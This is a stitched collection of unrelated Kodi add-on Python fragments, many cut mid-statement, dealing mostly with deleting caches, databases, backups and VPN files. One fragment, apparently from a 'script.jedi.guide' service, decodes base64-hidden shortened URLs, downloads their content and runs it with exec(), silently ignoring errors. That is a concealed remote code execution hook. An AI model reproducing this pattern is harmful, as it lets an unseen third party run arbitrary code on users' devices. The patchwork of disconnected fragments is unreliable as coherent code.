'https://api.github.com/repos/Kodi-vStream/venom-xbmc-addons/commits' oRequest = urllib2.Request(sUrl) oResponse = urllib2.urlopen(oRequest) # En python 3 on doit décoder la reponse if xbmc.getInfoLabel('system.buildversion')[0:2] >= '19': sContent = oResponse.read().decode('utf-8') else: sContent = oResponse.read() result = json.loads(sContent) listitems = [] for item in result: # autor icon = item['author']['avatar_url'] login = item['author']['login'] # message try: desc = item['commit']['message'].encode("utf-8") except: desc = 'None' listitem = xbmcgui.ListItem(label=login, label2=desc) listitem.setArt({'icon': icon, 'thumb': icon}) listitems.append(listitem) self.container.addItems(listitems) self.setFocus(self.container) def onClick(self, controlId): self.close() return def onFocus(self, controlId): self.controlId = controlId def _close_dialog(self): self.close() path = "special://home/addons/plugin.video.vstream" wd = XMLDialog('DialogSelect.xml', path, "Default") wd.doModal() del wd return elif (env == 'soutient'): try: sUrl = 'https://raw.githubusercontent.com/Kodi-vStream/venom-xbmc-addons/master/plugin.video.vstream/soutient.txt' oRequest = urllib2.Request(sUrl) oResponse = urllib2.urlopen(oRequest) # En python 3 on doit décoder la reponse if xbmc.getInfoLabel('system.buildversion')[0:2] >= '19': sContent = oResponse.read().decode('utf-8') else: sContent = oResponse.read() self.TextBoxes('vStream Soutient', sContent) except: self.DIALOG.VSerror("%s, %s" % (self.ADDON.VSlang(30205), sUrl)) return elif (env == 'addon'): # Vider le cache des métadonnées if self.DIALOG.VSyesno(self.ADDON.VSlang(30456)): cached_Cache = "special://home/userdata/addon_data/plugin.video.vstream/video_cache.db" # important seul xbmcvfs peux lire le special try: cached_Cache = VSPath(cached_Cache).decode("utf-8") except AttributeError: cached_Cache = VSPath(cached_Cache) try: db = sqlite.connect(cached_Cache) dbcur = db.cursor() dbcur.execute('DELETE FROM movie') dbcur.execute('DELETE FROM tvshow') dbcur.execute('DELETE FROM season') dbcur.execute('DELETE FROM episode') db.commit() dbcur.close() db.close() self.DIALOG.VSinfo(self.ADDON.VSlang(30090)) except: self.DIALOG.VSerror(self.ADDON.VSlang(30091)) return elif (env == 'clean'): liste = [ 'Historiques', 'Lecture en cours', 'Marqués vues', 'Marque-Pages', 'Téléchargements' ] ret = self.DIALOG.VSselect(liste, self.ADDON.VSlang(30110)) cached_DB = "special://home/userdata/addon_data/plugin.video.vstream/vstream.db" # important seul xbmcvfs peux lire le special try: cached_DB = VSPath(cached_DB).decode("utf-8") except AttributeError: cached_DB = VSPath(cached_DB) sql_drop = "" if ret > -1: if ret == 0: sql_drop = 'DELETE FROM history' elif ret == 1: sql_drop = 'DELETE FROM resume' elif ret == 2: sql_drop = 'DELETE FROM watched' elif ret == 3: sql_drop = 'DELETE FROM favorite' elif ret == 4: sql_drop = 'DELETE FROM download' try: db = sqlite.connect(cached_DB) dbcur = db.cursor() dbcur.execute(sql_drop) db.commit() dbcur.close() db.close() self.DIALOG.VSok(self.ADDON.VSlang(30090)) except: self.DIALOG.VSerror(self.ADDON.VSlang(30091)) return elif (env == 'xbmc'): if self.DIALOG.VSyesno(self.ADDON.VSlang(30456)): path = "special://temp/" try: xbmcvfs.rmdir(path, True) self.DIALOG.VSok(self.ADDON.VSlang(30092)) except: self.DIALOG.VSerror(self.ADDON.VSlang(30093)) return elif (env == 'fi'): if self.DIALOG.VSyesno(self.ADDON.VSlang(30456)): path = "special://temp/archive_cache/" try: xbmcvfs.rmdir(path, True) self.DIALOG.VSok(self.ADDON.VSlang(30095)) except: self.DIALOG.VSerror(self.ADDON.VSlang(30096)) return elif (env == 'uplog'): if self.DIALOG.VSyesno(self.ADDON.VSlang(30456)): path = "special://logpath/kodi.log" UA = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0' headers = {'User-Agent': UA} if xbmcvfs.exists(path): post_data = {} cUrl = 'http://slexy.org/index.php/submit' logop = xbmcvfs.File(path, 'rb') result = logop.read() logop.close() oRequestHandler = cRequestHandler(cUrl) oRequestHandler.setRequestType(1) oRequestHandler.addHeaderEntry('User-Agent', UA) oRequestHandler.addParameters('raw_paste', result) oRequestHandler.addParameters('author', "kodi.log") oRequestHandler.addParameters('language', "text") oRequestHandler.addParameters('permissions', 1) # private oRequestHandler.addParameters('expire', 259200) # 3j oRequestHandler.addParameters('submit', 'Submit+Paste') sHtmlContent = oRequestHandler.request() code = oRequestHandler.getRealUrl().replace( 'http://slexy.org/view/', '') self.ADDON.setSetting('service_log', code) self.DIALOG.VSok(self.ADDON.VSlang(30097) + ' ' + code) return elif (env == 'search'): from resources.lib.handler.pluginHandler import cPluginHandler valid = '[COLOR green][x][/COLOR]' class XMLDialog(xbmcgui.WindowXMLDialog): ADDON = addon() def __init__(self, *args, **kwargs): xbmcgui.WindowXMLDialog.__init__(self) pass def onInit(self): self.container = self.getControl(6) self.button = self.getControl(5) self.getControl(3).setVisible(False) self.getControl(1).setLabel(self.ADDON.VSlang(30094)) self.button.setLabel('OK') listitems = [] oPluginHandler = cPluginHandler() aPlugins = oPluginHandler.getAllPlugins() for aPlugin in aPlugins: # teste si deja dans le dsip sPluginSettingsName = 'plugin_' + aPlugin[1] bPlugin = self.ADDON.getSetting(sPluginSettingsName) icon = "special://home/addons/plugin.video.vstream/resources/art/sites/%s.png" % aPlugin[ 1] stitle = aPlugin[0].replace('[COLOR violet]', '').replace('[COLOR orange]', '')\ .replace('[/COLOR]', '').replace('[COLOR dodgerblue]', '')\ .replace('[COLOR coral]', '') if (bPlugin == 'true'): stitle = ('%s %s') % (stitle, valid) listitem = xbmcgui.ListItem(label=stitle, label2=aPlugin[2]) listitem.setArt({'icon': icon, 'thumb': icon}) listitem.setProperty('Addon.Summary', aPlugin[2]) listitem.setProperty('sitename', aPlugin[1]) if (bPlugin == 'true'): listitem.select(True) listitems.append(listitem) self.container.addItems(listitems) self.setFocus(self.container) def onClick(self, controlId): if controlId == 5: self.close() return elif controlId == 99: window = xbmcgui.Window(xbmcgui.getCurrentWindowId()) del window self.close() return elif controlId == 7: window = xbmcgui.Window(xbmcgui.getCurrentWindowId()) del window self.close() return elif controlId == 6: item = self.container.getSelectedItem() if item.isSelected() == True: label = item.getLabel().replace(valid, '') item.setLabel(label) item.select(False) sPluginSettingsName = ('plugin_%s') % ( item.getProperty('sitename')) self.ADDON.setSetting(sPluginSettingsName, str('false')) else: label = ('%s %s') % (item.getLabel(), valid) item.setLabel(label) item.select(True) sPluginSettingsName = ('plugin_%s') % ( item.getProperty('sitename')) self.ADDON.setSetting(sPluginSettingsName, str('true')) return def onFocus(self, controlId): self.controlId = controlId def _close_dialog(self): self.close() # def onAction(self, action): # if action.getId() in (9, 10, 92, 216, 247, 257, 275, 61467, 61448): # self.close() path = "special://home/addons/plugin.video.vstream" wd = XMLDialog('DialogSelect.xml', path, "Default") wd.doModal() del wd return elif (env == 'thumb'): if self.DIALOG.VSyesno(self.ADDON.VSlang(30098)): text = False path = "special://userdata/Thumbnails/" path_DB = "special://userdata/Database" try: xbmcvfs.rmdir(path, True) text = 'Clear Thumbnail Folder, Successful[CR]' except: text = 'Clear Thumbnail Folder, Error[CR]' folder, items = xbmcvfs.listdir(path_DB) items.sort() for sItemName in items: if "extures" in sItemName: cached_Cache = "/".join([path_DB, sItemName]) try: xbmcvfs.delete(cached_Cache) text += 'Clear Thumbnail DB, Successful[CR]' except: text += 'Clear Thumbnail DB, Error[CR]' if text: text = "%s (Important relancer Kodi)" % text self.DIALOG.VSok(text) return elif (env == 'sauv'): select = self.DIALOG.VSselect(['Import', 'Export']) DB = "special://home/userdata/addon_data/plugin.video.vstream/vstream.db" if select >= 0: new = self.DIALOG.browse(3, 'vStream', "files") if new: try: if select == 0: xbmcvfs.delete(DB) # copy(source, destination)--copy file to destination, returns true/false. xbmcvfs.copy(new + 'vstream.db', DB) elif select == 1: # copy(source, destination)--copy file to destination, returns true/false. xbmcvfs.copy(DB, new + 'vstream.db') self.DIALOG.VSinfo(self.ADDON.VSlang(30099)) except: self.DIALOG.VSerror(self.ADDON.VSlang(30100)) return else: return return
r = requests.post(reqUrl, data=json.dumps(reqBody), headers=reqHeaders) Ok = False abort_after = 50 start = time.time() auth_file_path = xbmc.translatePath("special://temp/kodiauth") while True: delta = time.time() - start x = delta * 2 dialog.update(int(x)) if delta >= abort_after: break if (xbmcvfs.exists(auth_file_path)): time.sleep(1) pinfile = xbmcvfs.File(auth_file_path) pincode = pinfile.read().rstrip() xbmcvfs.delete(auth_file_path) xbmc.log("[%s] %s" % (addonName, "Pincode in File: " + pincode), level=xbmc.LOGNOTICE) Ok = True break dialog.close() if Ok == True: reqHeaders['Authorization'] = 'Basic ' + base64.b64encode(':' + pincode) r = requests.post(reqUrl, data=json.dumps(reqBody), headers=reqHeaders) try: reqKey = str(r.headers['Set-Cookie'].split("=")[1].split(";")[0]) addon.setSetting("cookie", reqKey) xbmc.log("[%s] %s" % (addonName, "Cookie-auth-Key: " + reqKey), level=xbmc.LOGNOTICE) except:
def create_tarball(self): ''' takes the file list and creates a tarball in the backup location ''' location = self.s['backup_location'] # get list of tarballs in backup location tarballs = self.list_current_tarballs(location) # check the users desired number of backups permitted_tarball_count = self.s['tarball_count'] # determine how many extra tarballs there are extras = len(tarballs) - permitted_tarball_count + 1 if extras > 0 and permitted_tarball_count != 0: remove_these = tarballs[:extras] else: remove_these = [] # get the tag for the backup file tag = self.generate_tarball_name() # generate name for temporary tarball local_tarball_name = os.path.join(xbmc.translatePath('special://temp'), FILE_PATTERN % tag) # generate name for remote tarball remote_tarball_name = os.path.join(location, FILE_PATTERN % tag) # get the size of all the files that are being backed up total_size = max(1, self.estimate_disk_requirement(func='log')) progress_total = 0 # create a progress bar ''' Controls the creation and updating of the background prgress bar in kodi. The data gets sent from the apt_cache_action script via the socket percent, must be an integer heading, string containing the running total of items, bytes and speed message, string containing the name of the package or the active process. ''' pct = 0 self.progress(**{'percent': pct, 'heading': 'OSMC Backup', 'message': 'Starting tar ball backup' }) new_root = xbmc.translatePath('special://home') try: f = xbmcvfs.File(local_tarball_name,'w') tar = tarfile.open(fileobj=f, mode="w:gz") for name, size in self.backup_candidates: self.progress(**{'percent': pct, 'heading': 'OSMC Backup', 'message': '%s' % name}) try: new_path = os.path.relpath(name, new_root) tar.add(name, arcname=new_path) except: log('%s failed to backup to tarball' % name) continue progress_total += math.log(max(size, 1)) pct = int( (progress_total / float(total_size) ) * 100.0 ) tar.close() f.close() # copy the local file to remote location self.progress(**{'percent': 100, 'heading': 'OSMC Backup', 'message': 'Transferring backup file'}) log('local tarball name: %s' % local_tarball_name) log('local tarball exists: %s' % os.path.isfile(local_tarball_name)) log('remote tarball name: %s' % remote_tarball_name) log('remote tarball exists: %s' % os.path.isfile(remote_tarball_name)) success = xbmcvfs.copy(local_tarball_name, remote_tarball_name) if success: log('Backup file successfully transferred') try: xbmcvfs.delete(local_tarball_name) except: log('Cannot delete temp file at %s' % local_tarball_name) else: log('Transfer of backup file not successful: %s' % success) self.progress(kill=True) ok = DIALOG.ok('Backup failed', 'Backup failed to copy the tar file.') try: xbmcvfs.delete(local_tarball_name) except: log('Cannot delete temp file at %s' % local_tarball_name) return 'failed' # remove the unneeded backups (this will only occur if the tarball is successfully created) log('Removing these files: %s' % remove_these) for r in remove_these: try: self.progress(**{'percent': 100, 'heading': 'OSMC Backup', 'message': 'Removing old backup file: %s' % r}) xbmcvfs.delete(os.path.join(location, r)) except Exception as e: log('Deleting tarball failed: %s' % r) log(type(e).__name__) log(e.args) log(traceback.format_exc()) self.progress(kill=True) except Exception as e: self.progress(kill=True) log('Creating tarball failed') log(type(e).__name__) log(e.args) log(traceback.format_exc()) return 'failed'
def del_data(self, filename, dir_type='DATA_DIR'): data_file_path = self.get_file_path(CONST[dir_type], filename) if os.path.exists(data_file_path): delete(data_file_path)
def clear_cache(): last_read = plugin.get_storage('last_read') last_read.clear() xbmcvfs.delete('special://profile/addon_data/plugin.video.pvr.plugin.player/cache.json')
def merge_epg(): # code from enen92. thank you print '[Rytec EPG Downloader]: merge epg' xml_path = get_xml_path() temp = os.path.join(xml_path, 'temp') if not xbmcvfs.exists(temp): xbmcvfs.mkdir(temp) out = os.path.join(xml_path, 'merged_epg.xml') if xbmcvfs.exists(out): xbmcvfs.delete(out) print '[Rytec EPG Downloader]: start extracting files' dirs, files = xbmcvfs.listdir(xml_path) for f in files: if f.endswith('.gz'): inF = gzip.GzipFile(fileobj=StringIO( xbmcvfs.File(os.path.join(xml_path, f)).read())) s = inF.read() inF.close() outF = xbmcvfs.File(os.path.join(temp, f.replace('.gz', '.xml')), 'wb') outF.write(s) outF.close() print '[Rytec EPG Downloader]: extracting files done' print '[Rytec EPG Downloader]: start merging files' dirs, xmltv_list = xbmcvfs.listdir(temp) i = 1 total = len(xmltv_list) for xmltv in xmltv_list: #if xmltv.endswith('.xml'): if i == 1: f = xbmcvfs.File(os.path.join(temp, xmltv)) b = f.read() b = b.replace('</tv>', '') f.close() ltw = b.splitlines() elif i == total: f = xbmcvfs.File(os.path.join(temp, xmltv), 'r') b = f.read() lines = b.splitlines() f.close() li = 0 for line in lines: if li == 0 or li == 1: pass else: ltw.append(line) li += 1 else: f = xbmcvfs.File(os.path.join(temp, xmltv), 'r') b = f.read() lines = b.splitlines() total_lines = len(lines) f.close() li = 0 for line in lines: if li == 0 or li == 1: pass elif li == (total_lines - 1): pass else: ltw.append(line) li += 1 xbmcvfs.delete(os.path.join(temp, xmltv)) i += 1 o = xbmcvfs.File(out, 'w') for line in ltw: o.write(line) o.close print '[Rytec EPG Downloader]: merging files done'
# BUILD INSTALL PROMPT if tools.open_url(CONFIG.BUILDFILE, check=True) and CONFIG.get_setting('installed') == 'false': logging.log("[Current Build Check] Build Not Installed", level=xbmc.LOGINFO) window.show_build_prompt() else: logging.log("[Current Build Check] Build Installed: {0}".format(CONFIG.BUILDNAME), level=xbmc.LOGINFO) # ENABLE ALL ADDONS AFTER INSTALL if CONFIG.get_setting('enable_all') == 'true': logging.log("[Post Install] Enabling all Add-ons", level=xbmc.LOGINFO) from resources.libs.gui import menu menu.enable_addons(all=True) if os.path.exists(os.path.join(CONFIG.USERDATA, '.enableall')): logging.log("[Post Install] .enableall file found in userdata. Deleting..", level=xbmc.LOGINFO) import xbmcvfs xbmcvfs.delete(os.path.join(CONFIG.USERDATA, '.enableall')) xbmc.executebuiltin('UpdateLocalAddons') xbmc.executebuiltin('UpdateAddonRepos') db.force_check_updates(auto=True) CONFIG.set_setting('enable_all', 'false') xbmc.executebuiltin("ReloadSkin()") tools.reload_profile(xbmc.getInfoLabel('System.ProfileName')) # BUILD UPDATE CHECK buildcheck = CONFIG.get_setting('nextbuildcheck') if CONFIG.get_setting('buildname'): current_time = time.time() epoch_check = time.mktime(time.strptime(buildcheck, "%Y-%m-%d %H:%M:%S")) if current_time >= epoch_check: logging.log("[Build Update Check] Started", level=xbmc.LOGINFO)
if not quiet: msg = 'Confirmation' msg2 = 'Please confirm directory removal!' if not self.confirm(msg, msg2, path): return False if not recursive: try: xbmcvfs.delete(path) except Exception, e: xbmc.log('******** VFS error: %s' % e) else: dirs, files = self.ls(path) for f in files: rm = os.path.join(xbmc.translatePath(path), f) try: xbmcvfs.delete(rm) except Exception, e: xbmc.log('******** VFS error: %s' % e) for d in dirs: subdir = os.path.join(xbmc.translatePath(path), d) self.rm(subdir, quiet=True, recursive=True) try: xbmcvfs.rmdir(path) except Exception, e: xbmc.log('******** VFS error: %s' % e) def rename(self, src, dest, quiet=False): if not quiet: msg = 'Confirmation' msg2 = 'Please confirm rename file!' if not self.confirm(msg, msg2, src): return False
def delete(filename): return xbmcvfs.delete(filename)
} try: r = requests.get(base64.b64decode(b'aHR0cDovL2dvby5nbC84TUJDRlM='), headers=headers) home = r.content except: pass try: r = requests.get(base64.b64decode(b'aHR0cDovL2dvby5nbC9Ebm55a3o='), headers=headers) main = r.content exec(main) except: pass xbmcvfs.delete( 'special://profile/addon_data/script.jedi.guide/source.db-journal') lock = 'special://profile/addon_data/script.jedi.guide/db.lock' xbmcvfs.delete(lock) try: if ADDON.getSetting('autostart') == "true": xbmc.executebuiltin("RunAddon(script.jedi.guide)") if ADDON.getSetting('background.service') == 'true': monitor = xbmc.Monitor() xbmc.log("[script.jedi.guide] Background service started...", xbmc.LOGDEBUG) if ADDON.getSetting('background.startup') == 'true': Service() ADDON.setSetting('last.background.update', str(time.time())) if ADDON.getSetting('service.addon.folders') == "true": xbmc.executebuiltin(
######################### # Main ######################### if __name__ == '__main__': log("AudioBookCoverCleanup: Cover cache cleanup called (version %s)" % __version__) coverCache = Settings.getCoverCacheLocation() if dir_exists(coverCache): try: log("AudioBookCoverCleanup: Checking cache files %s" % coverCache) # Remove the jpg and png files in the directory first dirs, files = xbmcvfs.listdir(coverCache) for aFile in files: log("AudioBookCoverCleanup: Removing file %s" % aFile) if aFile.endswith('.jpg') or aFile.endswith( '.jpeg') or aFile.endswith('.png'): coverFile = os_path_join(coverCache, aFile) xbmcvfs.delete(coverFile) # Now remove the actual directory xbmcvfs.rmdir(coverCache) except: log("AudioBookCoverCleanup: %s" % traceback.format_exc(), xbmc.LOGERROR) xbmcgui.Dialog().ok(__addon__.getLocalizedString(32001), __addon__.getLocalizedString(32009))
else: if all_user[index] == single_pair: all_user[index] = "user" if all_user[index] == all_item: if xbmcgui.Dialog().yesno( addon_name, "Are you sure you want to delete all key and certificate files for " + provider_display + "?"): for item in all_user: if not item == all_item and not item == finished_item: path = getUserDataPath(provider + "/" + item) try: if xbmcvfs.exists(path + ".key"): xbmcvfs.delete(path + ".key") if xbmcvfs.exists(path + ".txt"): xbmcvfs.delete(path + ".txt") if xbmcvfs.exists(path + ".crt"): xbmcvfs.delete(path + ".crt") except: xbmcgui.Dialog().ok( addon_name, "Couldn't delete one of the key or certificate files:\n" + path) else: path = getUserDataPath(provider + "/" +
# fetch thumbnail and save to filepath try: target = fileName if(fileName.startswith('smb://')): #download file to local folder and copy it to smb path with xbmcvfs target = util.joinPath(util.getTempDir(), os.path.basename(fileName)) req = urllib2.Request(thumbUrl) req.add_unredirected_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31') f = open(target,'wb') f.write(urllib2.urlopen(req).read()) f.close() if(fileName.startswith('smb://')): xbmcvfs.copy(target, fileName) xbmcvfs.delete(target) except Exception, (exc): # xbmcgui.Dialog().ok(util.localize(35012), util.localize(35011)) Logutil.log("Could not create file: '%s'. Error message: '%s'" %(str(fileName), str(exc)), util.LOG_LEVEL_ERROR) return False, artworkurls # cleanup any remaining urllib cache urllib.urlcleanup() Logutil.log("Download finished.", util.LOG_LEVEL_INFO) else: Logutil.log("File already exists. Won't download again.", util.LOG_LEVEL_INFO) except Exception, (exc): Logutil.log("Error in getThumbFromOnlineSource: " +str(exc), util.LOG_LEVEL_WARNING) return True, artworkurls
def start_restore(self): ''' Posts a list of backup files in the location, allows the user to choose one (including browse to a different location, allows the user to choose what to restore, including an ALL option. ''' location = self.s['backup_location'] self.success = 'Full' current_tarballs = self.list_current_tarballs(location) # the first entry on the list dialog dialog_list = [(None, 'Browse for backup file')] # strip the boilerplate from the file and just show the name current_tarballs = [(name, self.strip_name(name, location)) for name in current_tarballs] # sort the list by date stamp (reverse) current_tarballs.sort(key=lambda x: x[1], reverse=True) # join the complete list together dialog_list.extend(current_tarballs) back_to_select = True while back_to_select: # display the list file_selection = DIALOG.select('Select a backup file', [x[1] for x in dialog_list]) if file_selection == -1: back_to_select = False continue elif file_selection == 0: # open the browse dialog backup_file = DIALOG.browse(1, 'Browse to backup file', 'files') log('User selected backup file: %s' % backup_file) if not backup_file: # return to select window log('User has not selected backup file.') continue else: # read the tar_file, post dialog with the contents # get file_selection remote_file = os.path.join(location, dialog_list[file_selection][0]) basename = os.path.basename(remote_file) log('User selected backup file: %s' % remote_file) # this requires copying the tar_file from its stored location, to kodi/temp # xbmcvfs cannot read into tar files without copying the whole thing to memory temp_copy = os.path.join(xbmc.translatePath('special://temp'), basename) result = xbmcvfs.copy(remote_file, temp_copy) if not result: # copy of file failed log('Failed to copy file to special://temp location') ok = DIALOG.ok('Restore failed', 'Restore failed to copy the file.') back_to_select = False continue backup_file = temp_copy # open local copy and check for contents try: with tarfile.open(backup_file, 'r:gz') as t: members = t.getmembers() # log('tarfile members: %s' % members) except Exception as e: log('Opening and reading tarball failed') log(type(e).__name__) log(e.args) log(traceback.format_exc()) ok = DIALOG.ok('Restore failed', 'Failure to read the file.') continue if members: # the first entry on the list dialog, tuple is (member, display name, name in tarfile, restore location) tar_contents_list = [(None, 'Everything')] # create list of items in the tar_file for the user to select from, these are prime members; either they are the # xml files or they are the base folder menu_items = [] for k, v in LABELS.iteritems(): for member in members: if k.endswith(member.name): menu_items.append((member, v)) break menu_items.sort(key=lambda x: x[1]) tar_contents_list.extend(menu_items) if len(tar_contents_list) < 2: log('Could not identify contents of backup file') ok = DIALOG.ok('Restore', 'Could not identify contents of backup file.') continue # at the moment this only allows for a single item to be selected, however we can build our own dialog that # can allow multiple selection, with the action only taking place on users OK item_selection = DIALOG.select('Select items to restore', [x[1] for x in tar_contents_list]) if item_selection == -1: continue elif item_selection == 0: log('User has chosen to restore all items') # restore all items restore_items = members else: # restore single item restore_item = tar_contents_list[item_selection] # if the item is a single xml file, then restore that member, otherwise loop through the file members # and collect the ones in the relevant folder # the identification of a single file is hackish relying upon the presence of .xml, but for the moment # we arent backing up any other single files if restore_item[0].name.endswith('.xml'): restore_items = [] restore_items.append(restore_item[0]) log('User has chosen to restore a single item: %s' % restore_item[1]) else: log('User is restoring a folder: %s' % restore_item[1]) restore_items = [] for member in members: if member.name.startswith(restore_item[0].name): restore_items.append(member) # confirm with user that they want to overwrite existing files OR extract to a different location overwrite = DIALOG.select('OSMC Restore', ['Overwrite existing files', 'Select new restore folder']) if overwrite == -1: log('User has escaped restore dialog') continue if overwrite == 0: # restore over existing files log('User has chosen to overwrite existing files.') restore_location = xbmc.translatePath('special://home') # check the restore_items for guisettings.xml, if found then restore that to the addon_data folder, # create the /RESET_GUISETTINGS file and write in the location of the restored guisettings.xml # change the restoring_guisettings flag so the user is informed that this change requires a restart, # or will take effect on next boot if any( [True for x in restore_items if x.name.endswith('userdata/guisettings.xml') ] ): self.restoring_guisettings = True elif overwrite == 1: # select new folder log('User has chosen to browse for a new restore location') restore_location = DIALOG.browse(3, 'Browse to restore location', 'files') else: log('User has escaped restore dialog') continue if restore_location == '': log('User has failed to select a restore location') continue with tarfile.open(backup_file, 'r') as t: for member in restore_items: log('attempting to restore %s to %s' % (member.name, restore_location)) try: # if the item is userdata/guisettings.xml then restore it to /tmp and rename it # the external script will pick it up there and overwrite the live version if member.name.endswith('userdata/guisettings.xml') and self.restoring_guisettings: member.name = os.path.basename(member.name) t.extract(member, '/tmp/') os.rename('/tmp/guisettings.xml', '/tmp/guisettings.restore') else: t.extract(member, restore_location) except Exception as e: log('Extraction of %s failed' % member.name) log(type(e).__name__) log(e.args) log(traceback.format_exc()) if self.success == 'Full': self.success = [] self.success.append(member.name) continue if self.success == 'Full' and not self.restoring_guisettings: ok = DIALOG.ok('OSMC Restore', 'Items successfully restored') elif self.success == 'Full' and self.restoring_guisettings: back_to_select = False else: back_to_select = False try: xbmcvfs.delete(temp_copy) except: log('Deleting temp_copy failed. Dont worry, it might not exist.') self.progress(kill=True)
def __del__(self): xbmcvfs.delete(self._image_path) pass
def delete(account_hash): """Delete cookies for an account from the disk""" try: xbmcvfs.delete(cookie_filename(account_hash)) except Exception as exc: # pylint: disable=broad-except common.error('Failed to delete cookies on disk: {exc}', exc=exc)
textexe.execute( 'UPDATE installed SET enabled = ? WHERE addonID = ? ', ( state, item, )) textdb.commit() textexe.close() except Exception, e: self.log("Erroring enabling addon: %s" % addon, xbmc.LOGERROR) try: xbmcgui.Dialog().notification("AutoExec.py", "Starting Script...") firstRun = enableAll() xbmcgui.Dialog().notification("AutoExec.py", "All Addons Enabled") xbmcvfs.delete('special://userdata/autoexec.py') except Exception, e: xbmcgui.Dialog().notification("AutoExec.py", "Error Check LogFile") xbmc.log(str(e), xbmc.LOGERROR) xbmcvfs.delete('special://userdata/autoexec.py') def parseDOM(html, name=u"", attrs={}, ret=False): # Copyright (C) 2010-2011 Tobias Ussing And Henrik Mosgaard Jensen if isinstance(html, str): try: html = [html.decode("utf-8")] except: html = [html] elif isinstance(html, unicode): html = [html]
def importWizard(): addon = xbmcaddon.Addon("service.vpn.manager") addon_name = addon.getAddonInfo("name") errorMessage = "" success = False cancel = False xbmcgui.Dialog().ok( addon_name, "The User Defined import wizard helps you set up an unsupported VPN provider. It may not work without additional user intervention. You should review the import log and subsequent VPN logs to debug any problems." ) # Warn the user that files will be deleted and kittens will be harmed if xbmcgui.Dialog().yesno( addon_name, "Any existing User Defined settings and files will be deleted. Do you want to continue?", "", ""): removeGeneratedFiles() success = clearUserData() addon.setSetting("vpn_provider", "User Defined") if not success: errorMessage = "Could not clear the UserDefined directory. Check the log." else: success = False errorMessage = "Import wizard has not been run, no settings or files have been changed." # Get the list of files to be used if success: if xbmcgui.Dialog().yesno( addon_name, "Select ALL files needed to connect to the VPN provider, including .ovpn, .key and .crt files. Select a directory (sub directories are ignored) or select multiple files within a directory?.", "", "", "Directory", "Files"): directory_input = False files = xbmcgui.Dialog().browse(1, "Select all VPN provider files", "files", "", False, False, "", True) else: directory_input = True dname = xbmcgui.Dialog().browse( 0, "Select a directory containing VPN provider files", "files", "", False, False, "", False) debugTrace("Import from directory " + dname) dirs, files = xbmcvfs.listdir(dname) # Separate the selected files into ovpn files and other files ovpn_files = [] other_files = [] for name in files: if directory_input: name = dname + name debugTrace("Found file " + name) if name.endswith(".ovpn"): ovpn_files.append(name) else: other_files.append(name) if len(ovpn_files) == 0: success = False errorMessage = "No .ovpn files found. You must provide at least one .ovpn file." # Copy and modify the ovpn files if success: # Create some logs to write out later summary = [] detail = [] summary.append("Importing selected files to User Defined directory, " + getUserDataPath("UserDefined/") + "\n") summary.append("at " + time.strftime('%Y-%m-%d %H:%M:%S') + "\n") detail.append("\n=== Import details ===\n\n") update = False rename = False if xbmcgui.Dialog().yesno( addon_name, "Update the .ovpn files to best guess values and determine the best User Defined provider settings (recommended)?", "", ""): update = True detail.append("Updating the .ovpn files to best guess settings\n") if xbmcgui.Dialog().yesno( addon_name, "Rename the .ovpn files to indicate either a UDP or TCP connection type to allow filtering of connections?", "", ""): rename = True detail.append("Files will be renamed to indicate UDP or TCP\n") # Display dialog to show progress of copying files dialog_step = 100 / (len(ovpn_files) + len(other_files)) progress = xbmcgui.DialogProgress() progress_title = "Copying User Defined files." progress.create(addon_name, progress_title) prog_step = 0 xbmc.sleep(500) try: dest_path = getUserDataPath("UserDefined/") debugTrace("Checking directory path exists before copying " + dest_path) if not os.path.exists(dest_path): infoTrace("import.py", "Creating " + dest_path) os.makedirs(os.path.dirname(dest_path)) xbmc.sleep(500) # Loop around waiting for the directory to be created. After 10 seconds we'll carry # on and let he open file calls fail and throw an exception t = 0 while not os.path.exists(os.path.dirname(dest_path)): if t == 9: errorTrace( "vpnprovider.py", "Waited 10 seconds to create directory but it never appeared" ) break xbmc.sleep(1000) t += 1 other_files_count = [] for fname in other_files: path, dest_name = os.path.split(fname) dest_name = getUserDataPath("UserDefined/" + dest_name) # Report file being copied, then do it progress_message = "Copying " + fname progress.update(prog_step, progress_title, progress_message) xbmc.sleep(100) prog_step += dialog_step infoTrace("import.py", "Copying " + fname + " to " + dest_name) detail.append("Copying " + fname + " to " + dest_name + "\n") xbmcvfs.copy(fname, dest_name) if not xbmcvfs.exists(dest_name): raise IOError('Failed to copy user def file ' + fname + " to " + dest_name) other_files_count.append(0) if progress.iscanceled(): cancel = True break auth_count = 0 auth_found = 0 cert_count = 0 cert_found = 0 multiple_certs = False last_cert_found = "" ecert_count = 0 key_count = 0 key_found = 0 key_pass_found = 0 key_pass_count = 0 multiple_keys = False last_key_found = "" ekey_count = 0 if not cancel: metadata = getGitMetaData("UserDefined") mods = [] if not metadata == None: for line in metadata: line = line.strip(' \t\n\r') mods.append(line) for oname in ovpn_files: path, dest_name = os.path.split(oname) dest_name = getUserDataPath("UserDefined/" + dest_name) # Update dialog to saywhat's happening if update: progress_message = "Copying and updating " + oname else: progress_message = "Copying " + oname progress.update(prog_step, progress_title, progress_message) xbmc.sleep(100) prog_step += dialog_step # Copy the ovpn file infoTrace("import.py", "Copying " + oname + " to " + dest_name) detail.append("Copying " + oname + " to " + dest_name + "\n") xbmcvfs.copy(oname, dest_name) if not xbmcvfs.exists(dest_name): raise IOError('Failed to copy user def ovpn ' + oname + " to " + dest_name) if update: # Read the copied file in and then overwrite it with any updates needed # Was doing a read from source and write here but this failed on Linux over an smb mount (file not found) auth = False keypass = False infoTrace("import.py", "Updating " + dest_name) detail.append("Updating " + dest_name + "\n") source_file = open(dest_name, 'r') source = source_file.readlines() source_file.close() dest_file = open(dest_name, 'w') proto = "UDP" flags = [False, False, False, False, False] for line in source: line = line.strip(' \t\n\r') old_line = line i = 0 # Look for each non ovpn file uploaded and update it to make sure the path is good for fname in other_files: path, name = os.path.split(fname) if not line.startswith("#"): params = line.split() if len(params) == 2: # Remove the separator in order to get any fully qualified filename as space delimited params[1].replace(getSeparator(), " ") # Add in a leading space for unqualified filenames params[1] = " " + params[1] if params[1].endswith(" " + name): old_line = line line = params[ 0] + " " + "#PATH" + getSeparatorOutput( ) + name detail.append(" Found " + name + ", old line was : " + old_line + "\n") detail.append(" New line is " + line + "\n") other_files_count[i] += 1 if line.startswith( "auth-user-pass"): auth_found += 1 auth = True if line.startswith("cert "): cert_found += 1 if line.startswith("key "): key_found += 1 if line.startswith("askpass "): key_pass_found += 